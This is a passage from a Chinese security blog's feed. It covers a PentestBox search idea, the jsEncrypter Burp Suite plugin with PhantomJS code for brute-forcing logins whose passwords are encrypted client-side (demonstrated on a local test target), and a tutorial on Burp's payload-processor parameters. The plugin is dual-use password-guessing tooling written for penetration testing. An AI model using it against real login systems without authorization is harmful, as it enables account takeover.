title="方法四:通过编写lua脚本扩展clink实现搜索"></a>方法四:通过编写lua脚本扩展clink实现搜索</h2><p>方法三其实已经算是解决问题了,但是我还是觉得不完美。原谅我对优美如此执着。方法四是我目前觉得更完美的设想方案,不知道技术上是否能实现(我认为是可行的,哈哈)。如果能实现,我甚至建议PentestBox作者能在下一版本考虑一下集成这样的功能。</p><p>先说三个发现</p><ul><li>第一个发现,启用了clink之后,如果你按两次TAB键,clink是可以列取出PentestBox下所有工具名称(包括自带的和自定义的)。这说明clink是可以获取到PentestBox的所有工具名称。</li><li>第二个发现,clink可以通ctr+r/ctr+s来搜索历史执行的命令,自更加坚定clink是可以实现搜索的。</li><li>第三个发现,我看了clink的官方网站,说是可以通过编写lua脚本扩展clink。</li></ul><p>由这三个发现我认为通过写lua脚本来实现clink的搜索功能,在技术上应该可行!无奈clink官方没有相关api文档,我暂时无法实现。</p><p>最后欢迎有想法的小伙伴留言,交流 <strong>如何实现PentestBox搜索工具名称功能?</strong></p>]]></content>
<categories>
<category> 填坑日记 </category>
</categories>
<tags>
<tag> PentestBox </tag>
</tags>
</entry>
<entry>
<title>编写加密传输爆破插件jsEncrypter</title>
<link href="/articles/2017/jsEncrypter/"/>
<url>/articles/2017/jsEncrypter/</url>
<content type="html"><![CDATA[<p>我曾经听某大牛所过两句话:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1. 我们能入侵最先进的系统,却不能阻止用户使用弱口令。</span><br><span class="line"></span><br><span class="line">2. 当一个系统的用户超过1000+,那么弱口令一定存在!</span><br></pre></td></tr></table></figure><p>不管这两句话是否属实,但都说明了一个问题,弱口令虽然简单,但是很难完全消除。因为它的问题不是出现在技术层面,而是在人性!所以每次渗透测试我都比较注重弱口令的检测。</p><p>当一个系统没有对登录次数进行限制时,我们就可以考虑进行爆破了。在我经验中,爆破遇到了以下三个难点:</p><table><thead><tr><th align="center">序号</th><th align="center">情况</th><th align="center">解决</th></tr></thead><tbody><tr><td align="center">1</td><td align="center">验证码</td><td align="center">验证码有的可以绕过,无法绕开也已经存在识别验证码的插件。</td></tr><tr><td align="center">2</td><td align="center">token</td><td align="center">token问题,使用burp Suite完全可以解决。</td></tr><tr><td align="center">3</td><td align="center">加密传输</td><td align="center">目前解决方案比较少,对应的工具基本没有找到。</td></tr></tbody></table><p><strong>今天特地对第三种情况进行解决,所以有了此文!</strong></p><p>针对加密传输问题,freeBuf上的<a href="http://www.freebuf.com/articles/web/127888.html" target="_blank" rel="noopener">《对登录中账号密码进行加密之后再传输的爆破的思路和方式》</a>写的挺好,作者提供了4种思路去解决,比我思考的全面。我最初的解决方案类似文章中的第四种思路,今天的解决方案是写一个Burp插件,和文章中的第一种思路类似但又有点区别。</p><h2 id="0x01-流程"><a href="#0x01-流程" class="headerlink" title="0x01 流程"></a>0x01 流程</h2><p>上一个流程图,给大家捋一捋插件运行的整个流程。</p><p><img src="/articles/2017/jsEncrypter/liucheng.png" alt="图1-流程图"></p><h2 id="0x02-开发"><a href="#0x02-开发" class="headerlink" title="0x02 开发"></a>0x02 开发</h2><h4 id="插件核心代码"><a href="#插件核心代码" class="headerlink" title="插件核心代码"></a>插件核心代码</h4><p>我们的插件实现对payload的处理,所以一定要实现Burp Suite APIs的<code>IIntruderPayloadProcessor</code>接口的<code>processPayload</code>方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">byte</span>[] processPayload(<span class="keyword">byte</span>[] currentPayload, <span class="keyword">byte</span>[] originalPayload, <span class="keyword">byte</span>[] baseValue) {</span><br><span class="line"><span class="keyword">byte</span>[] newpayload =<span class="string">""</span>.getBytes();</span><br><span class="line">String payload = <span class="keyword">new</span> String(currentPayload); <span class="comment">//获取当前paylaod</span></span><br><span class="line">CloseableHttpClient client = HttpClients.createDefault(); <span class="comment">//新建一个HttpClient</span></span><br><span class="line">HttpPost httpPost = <span class="keyword">new</span> HttpPost(gui.getURL()); <span class="comment">//新建一个post请求</span></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">List nameValuePairs = <span class="keyword">new</span> ArrayList(<span class="number">1</span>);</span><br><span class="line">nameValuePairs.add(<span class="keyword">new</span> BasicNameValuePair(<span class="string">"payload"</span>,payload)); <span class="comment">//添加payload参数</span></span><br><span class="line">httpPost.setEntity(<span class="keyword">new</span> UrlEncodedFormEntity(nameValuePairs)); <span class="comment">//设置HttpPost实体</span></span><br><span class="line">CloseableHttpResponse response = client.execute(httpPost); <span class="comment">//发送带有payload的请求</span></span><br><span class="line"><span class="comment">//获取phantomJS处理好的结果</span></span><br><span class="line">String responseAsString = EntityUtils.toString(response.getEntity());</span><br><span class="line">newpayload = helpers.stringToBytes(responseAsString);</span><br><span class="line"></span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">stderr.println(e.getMessage());</span><br><span class="line">newpayload = <span class="string">"JsEncrypter cannot connect phantomJS!"</span>.getBytes();</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> newpayload; <span class="comment">//返回处理好的payload给Burp Suite</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="phantomJS脚本编写"><a href="#phantomJS脚本编写" class="headerlink" title="phantomJS脚本编写"></a>phantomJS脚本编写</h4><p>phantomJS是一个没有界面的浏览器,除了不能浏览,其他的和正常浏览器一样。使用它来执行我们编写好的脚本。</p><p>phantomJS下载地址:<code>http://phantomjs.org/download.html</code></p><p>由于每个网站前端加密传输的算法一样,所以每次引入的js都不同,调用加密函数的代码也不仅相同。鉴于以上情况,为了每次不用重复写一些固定的代码,我们写一个模板代码。每次使用时,只要填写好引入js的文件名,以及实现好在<code>js_encrypt()</code>函数体调用加密算法对payload进行加密处理即可。</p><h6 id="phatomJS脚本模板代码"><a href="#phatomJS脚本模板代码" class="headerlink" title="phatomJS脚本模板代码"></a>phatomJS脚本模板代码</h6><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * author: c0ny1</span></span><br><span class="line"><span class="comment"> * date: 2017-12-16</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">var</span> webserver = <span class="built_in">require</span>(<span class="string">'webserver'</span>);</span><br><span class="line">server = webserver.create();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> host = <span class="string">'127.0.0.1'</span>;</span><br><span class="line"><span class="keyword">var</span> port = <span class="string">'1664'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 加载实现加密算法的js脚本</span></span><br><span class="line"><span class="keyword">var</span> wasSuccessful = phantom.injectJs(<span class="string">'xxx.js'</span>);<span class="comment">/*引入实现加密的js文件*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">js_encrypt</span>(<span class="params">payload</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> newpayload;</span><br><span class="line"><span class="comment">/**********在这里编写调用加密函数进行加密的代码************/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/**********************************************************/</span></span><br><span class="line"><span class="keyword">return</span> newpayload;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(wasSuccessful){</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[*] load js successful"</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[!] ^_^"</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[*] jsEncrypterJS start!"</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[+] address: http://"</span>+host+<span class="string">":"</span>+port);</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'[*] load js fail!'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> service = server.listen(host+<span class="string">':'</span>+port,<span class="function"><span class="keyword">function</span>(<span class="params">request, response</span>)</span>{</span><br><span class="line"><span class="keyword">if</span>(request.method == <span class="string">'POST'</span>){</span><br><span class="line"><span class="keyword">var</span> payload = request.post[<span class="string">'payload'</span>];</span><br><span class="line"> <span class="keyword">var</span> encrypt_payload = js_encrypt(payload); </span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'[+] '</span> + payload + <span class="string">':'</span> + encrypt_payload); <span class="comment">//显示原始payload和加密处理好的payload</span></span><br><span class="line">response.statusCode = <span class="number">200</span>;</span><br><span class="line"> response.write(encrypt_payload.toString()); <span class="comment">//返回处理好的payload</span></span><br><span class="line"> response.close();</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"> response.statusCode = <span class="number">200</span>;</span><br><span class="line"> response.write(<span class="string">"^_^\n\rhello jsEncrypter!"</span>);</span><br><span class="line"> response.close();</span><br><span class="line">}</span><br><span class="line">});</span><br></pre></td></tr></table></figure><h2 id="0x03演示"><a href="#0x03演示" class="headerlink" title="0x03演示"></a>0x03演示</h2><p>完整的代码请移步github: <code>http://github.com/c0ny1/jsEncrypter</code></p><p>大家自行下载,编译好,最后加载到Burp Suite中!</p><p><img src="/articles/2017/jsEncrypter/tab.png" alt="图2-插件界面"></p><h4 id="1-靶机搭建"><a href="#1-靶机搭建" class="headerlink" title="(1) 靶机搭建"></a>(1) 靶机搭建</h4><p>项目jsEncrytper/server目录下提供一个php编写的靶机,我们用phpStudy把他运行起来。靶机目前支持的加密算法有7中:</p><ul><li>base64 (PS:严格来说base64是一种编码,不是一种加密算法)</li><li>md5</li><li>sha1</li><li>sha254</li><li>sha384</li><li>sha512</li><li>RSA</li></ul><p>我们选择sha1来进行演示。</p><p><img src="/articles/2017/jsEncrypter/server.png" alt="图3-靶机"></p><h4 id="2-编写phantomJS脚本"><a href="#2-编写phantomJS脚本" class="headerlink" title="(2) 编写phantomJS脚本"></a>(2) 编写phantomJS脚本</h4><ol><li><p>通过查看靶机页面的js代码,我们知道实现sha1加密的是<code>sha1.js</code>这个文件,我们将它下载下来。</p></li><li><p>复制phantomJS模板代码<code>jsEncrypter/js/jsEncrypter_base.js</code>文件,改名为jsEncrypter_sha1.js。</p></li><li><p>在脚本中加载<code>sha1.js</code>,然后在<code>js_encrypt</code>函数中实现调用加密函数对传入的payload进行加密处理,即可。</p></li></ol><h6 id="完整代码如下:"><a href="#完整代码如下:" class="headerlink" title="完整代码如下:"></a>完整代码如下:</h6><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> webserver = <span class="built_in">require</span>(<span class="string">'webserver'</span>);</span><br><span class="line">server = webserver.create();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> host = <span class="string">'127.0.0.1'</span>;</span><br><span class="line"><span class="keyword">var</span> port = <span class="string">'1664'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 加载实现加密算法的js脚本</span></span><br><span class="line"><span class="keyword">var</span> wasSuccessful = phantom.injectJs(<span class="string">'sha1.js'</span>);<span class="comment">/*引入实现加密的js文件*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">js_encrypt</span>(<span class="params">payload</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> newpayload;</span><br><span class="line"><span class="comment">/**********在这里编写调用加密函数进行加密的代码************/</span></span><br><span class="line">newpayload = hex_sha1(payload);</span><br><span class="line"><span class="comment">/****************************************************/</span></span><br><span class="line"><span class="keyword">return</span> newpayload;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(wasSuccessful){</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[*] load js successful"</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[!] ^_^"</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[*] jsEncrypterJS start!"</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[+] address: http://"</span>+host+<span class="string">":"</span>+port);</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'[*] load js fail!'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> service = server.listen(host+<span class="string">':'</span>+port,<span class="function"><span class="keyword">function</span>(<span class="params">request, response</span>)</span>{</span><br><span class="line"><span class="keyword">if</span>(request.method == <span class="string">'POST'</span>){</span><br><span class="line"><span class="keyword">var</span> payload = request.post[<span class="string">'payload'</span>];</span><br><span class="line"> <span class="keyword">var</span> encrypt_payload = js_encrypt(payload); </span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'[+] '</span> + payload + <span class="string">':'</span> + encrypt_payload);</span><br><span class="line">response.statusCode = <span class="number">200</span>;</span><br><span class="line"> response.write(encrypt_payload.toString());</span><br><span class="line"> response.close();</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"> response.statusCode = <span class="number">200</span>;</span><br><span class="line"> response.write(<span class="string">"^_^\n\rhello jsEncrypt!"</span>);</span><br><span class="line"> response.close();</span><br><span class="line">}</span><br><span class="line">});</span><br></pre></td></tr></table></figure><h4 id="3-运行phantomJS脚本"><a href="#3-运行phantomJS脚本" class="headerlink" title="(3) 运行phantomJS脚本"></a>(3) 运行phantomJS脚本</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">λ phantomjs.exe jsEncrypter_sha1.js</span><br><span class="line">[*] load js successful</span><br><span class="line">[!] ^_^</span><br><span class="line">[*] jsEncrypterJS <span class="built_in">start</span>!</span><br><span class="line">[+] address: http://<span class="number">127</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">1</span>:<span class="number">1664</span></span><br></pre></td></tr></table></figure><h4 id="4-测试是否能成功加密"><a href="#4-测试是否能成功加密" class="headerlink" title="(4) 测试是否能成功加密"></a>(4) 测试是否能成功加密</h4><p><img src="/articles/2017/jsEncrypter/test.gif" alt="图4-测试"></p><h4 id="5-抓包爆破"><a href="#5-抓包爆破" class="headerlink" title="(5) 抓包爆破"></a>(5) 抓包爆破</h4><p><img src="/articles/2017/jsEncrypter/crack.gif" alt="图5-抓包爆破"></p><h2 id="0x04最后的话"><a href="#0x04最后的话" class="headerlink" title="0x04最后的话"></a>0x04最后的话</h2><p>各位如果有更好的解决方案,请留言互相交流。发现项目有bug或者有更好的修改建议,欢迎在github提交issuse,期待我们一起进步!</p><p><strong>项目地址:<a href="https://github.com/c0ny1/jsEncrypter" target="_blank" rel="noopener">https://github.com/c0ny1/jsEncrypter</a></strong></p>]]></content>
<tags>
<tag> Burp Suite </tag>
</tags>
</entry>
<entry>
<title>Burp中的currentPayload和originalPayload</title>
<link href="/articles/2017/currentPayload-originalPayload/"/>
<url>/articles/2017/currentPayload-originalPayload/</url>
<content type="html"><![CDATA[<p>在学习burp suite APIs中的Intruder payload处理器的过程中,一直搞不明白IIntruderPayloadProcess接口中processPayload方法的currentPayload和originalPayload参数有啥区别。虽说从名字上看currentPayload就是当前paylaod,originalPayload是原始payload的意思。翻了一下文档,大概知道了它们的区别,但总感觉还是没弄清其本质区别,很不舒服!</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * This method is invoked by Burp each time the processor should be applied</span></span><br><span class="line"><span class="comment"> * to an Intruder payload.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> currentPayload The value of the payload to be processed.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> originalPayload The value of the original payload prior to</span></span><br><span class="line"><span class="comment"> * processing by any already-applied processing rules.</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> baseValue The base value of the payload position, which will be</span></span><br><span class="line"><span class="comment"> * replaced with the current payload.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> The value of the processed payload. This may be</span></span><br><span class="line"><span class="comment"> * <code>null</code> to indicate that the current payload should be skipped,</span></span><br><span class="line"><span class="comment"> * and the attack will move directly to the next payload.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">byte</span>[] processPayload(</span><br><span class="line"> <span class="keyword">byte</span>[] currentPayload,</span><br><span class="line"> <span class="keyword">byte</span>[] originalPayload,</span><br><span class="line"> <span class="keyword">byte</span>[] baseValue);</span><br></pre></td></tr></table></figure><h2 id="0x01编码"><a href="#0x01编码" class="headerlink" title="0x01编码"></a>0x01编码</h2><p>我们来写两个Payload处理器插件来理解其中的区别,处理器1对payload的处理是在payload后面添加一个1,<br>处理器2对payload的处理是在payload后面添加一个2。处理前会输出currentPayload和originalPayload以供我们研究。具体代码如下:</p><h4 id="intruder-payload-1"><a href="#intruder-payload-1" class="headerlink" title="intruder-payload-1"></a>intruder-payload-1</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> burp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.PrintWriter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">BurpExtender</span> <span class="keyword">implements</span> <span class="title">IBurpExtender</span>,<span class="title">IIntruderPayloadProcessor</span> </span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> IExtensionHelpers helper;</span><br><span class="line"><span class="keyword">private</span> IBurpExtenderCallbacks callbacks;</span><br><span class="line"><span class="keyword">private</span> PrintWriter stdout;</span><br><span class="line"><span class="keyword">private</span> PrintWriter stderr;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">registerExtenderCallbacks</span><span class="params">(IBurpExtenderCallbacks callbacks)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.helper = callbacks.getHelpers();</span><br><span class="line"><span class="keyword">this</span>.callbacks = callbacks;</span><br><span class="line"><span class="keyword">this</span>.stdout = <span class="keyword">new</span> PrintWriter(callbacks.getStdout(),<span class="keyword">true</span>);</span><br><span class="line">callbacks.setExtensionName(<span class="string">"intruder-payload-1"</span>);</span><br><span class="line">callbacks.registerIntruderPayloadProcessor(<span class="keyword">this</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">getProcessorName</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> <span class="string">"Processor1"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">byte</span>[] processPayload(<span class="keyword">byte</span>[] currentPayload, <span class="keyword">byte</span>[] originalPayload, <span class="keyword">byte</span>[] baseValue) {</span><br><span class="line">stdout.println(getProcessorName());</span><br><span class="line">stdout.println(<span class="string">"currentPayload:"</span>+helper.bytesToString(currentPayload));</span><br><span class="line">stdout.println(<span class="string">"originalPayload:"</span>+helper.bytesToString(originalPayload));</span><br><span class="line">stdout.println(<span class="string">"-------------------------"</span>);</span><br><span class="line"></span><br><span class="line">String newPayload;</span><br><span class="line">newPayload = helper.bytesToString(currentPayload) + <span class="string">"1"</span>;</span><br><span class="line"><span class="keyword">return</span> helper.stringToBytes(newPayload);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="intruder-payload-2"><a href="#intruder-payload-2" class="headerlink" title="intruder-payload-2"></a>intruder-payload-2</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> burp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.PrintWriter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">BurpExtender</span> <span class="keyword">implements</span> <span class="title">IBurpExtender</span>,<span class="title">IIntruderPayloadProcessor</span> </span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> IExtensionHelpers helper;</span><br><span class="line"><span class="keyword">private</span> IBurpExtenderCallbacks callbacks;</span><br><span class="line"><span class="keyword">private</span> PrintWriter stdout;</span><br><span class="line"><span class="keyword">private</span> PrintWriter stderr;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">registerExtenderCallbacks</span><span class="params">(IBurpExtenderCallbacks callbacks)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.helper = callbacks.getHelpers();</span><br><span class="line"><span class="keyword">this</span>.callbacks = callbacks;</span><br><span class="line"><span class="keyword">this</span>.stdout = <span class="keyword">new</span> PrintWriter(callbacks.getStdout(),<span class="keyword">true</span>);</span><br><span class="line">callbacks.setExtensionName(<span class="string">"intruder-payload-2"</span>);</span><br><span class="line">callbacks.registerIntruderPayloadProcessor(<span class="keyword">this</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">getProcessorName</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> <span class="string">"Processor2"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">byte</span>[] processPayload(<span class="keyword">byte</span>[] currentPayload, <span class="keyword">byte</span>[] originalPayload, <span class="keyword">byte</span>[] baseValue) {</span><br><span class="line"><span class="comment">// TODO Auto-generated method stub</span></span><br><span class="line">stdout.println(getProcessorName());</span><br><span class="line">stdout.println(<span class="string">"currentPayload:"</span>+helper.bytesToString(currentPayload));</span><br><span class="line">stdout.println(<span class="string">"originalPayload:"</span>+helper.bytesToString(originalPayload));</span><br><span class="line">stdout.println(<span class="string">"-------------------------"</span>);</span><br><span class="line"></span><br><span class="line">String newPayload;</span><br><span class="line">newPayload = helper.bytesToString(currentPayload) + <span class="string">"2"</span>;</span><br><span class="line"><span class="keyword">return</span> helper.stringToBytes(newPayload);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x2测试"><a href="#0x2测试" class="headerlink" title="0x2测试"></a>0x2测试</h2><p>编译后使用burp安装好这两个插件,并随便找一个post包进行测试</p><p><img src="/articles/2017/currentPayload-originalPayload/intruder-payloads-set.png" alt="图1-Intruder payloads设置"></p><p><img src="/articles/2017/currentPayload-originalPayload/intruder-attack.png" alt="图2-Intruder attack"></p><p>去查看了一下Extension中两个插件的<code>Show in UI</code>的信息分别如下:</p><h4 id="intruder-payload-1-1"><a href="#intruder-payload-1-1" class="headerlink" title="intruder-payload-1"></a>intruder-payload-1</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">Processor1</span><br><span class="line">currentPayload: a</span><br><span class="line">originalPayload: a</span><br><span class="line">-------------------------</span><br><span class="line">Processor1</span><br><span class="line">currentPayload: b</span><br><span class="line">originalPayload: b</span><br><span class="line">-------------------------</span><br><span class="line">Processor1</span><br><span class="line">currentPayload: c</span><br><span class="line">originalPayload: c</span><br><span class="line">-------------------------</span><br><span class="line">Processor1</span><br><span class="line">currentPayload: d</span><br><span class="line">originalPayload: d</span><br><span class="line">-------------------------</span><br><span class="line">Processor1</span><br><span class="line">currentPayload: e</span><br><span class="line">originalPayload: e</span><br><span class="line">-------------------------</span><br></pre></td></tr></table></figure><h4 id="intruder-payload-2-1"><a href="#intruder-payload-2-1" class="headerlink" title="intruder-payload-2"></a>intruder-payload-2</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">Processor2</span><br><span class="line">currentPayload: a1</span><br><span class="line">originalPayload: a</span><br><span class="line">-------------------------</span><br><span class="line">Processor2</span><br><span class="line">currentPayload: b1</span><br><span class="line">originalPayload: b</span><br><span class="line">-------------------------</span><br><span class="line">Processor2</span><br><span class="line">currentPayload: c1</span><br><span class="line">originalPayload: c</span><br><span class="line">-------------------------</span><br><span 